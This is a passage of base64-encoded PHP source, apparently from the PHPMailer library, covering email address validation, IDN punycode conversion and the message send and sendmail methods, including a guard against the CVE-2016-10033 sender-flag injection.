0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICA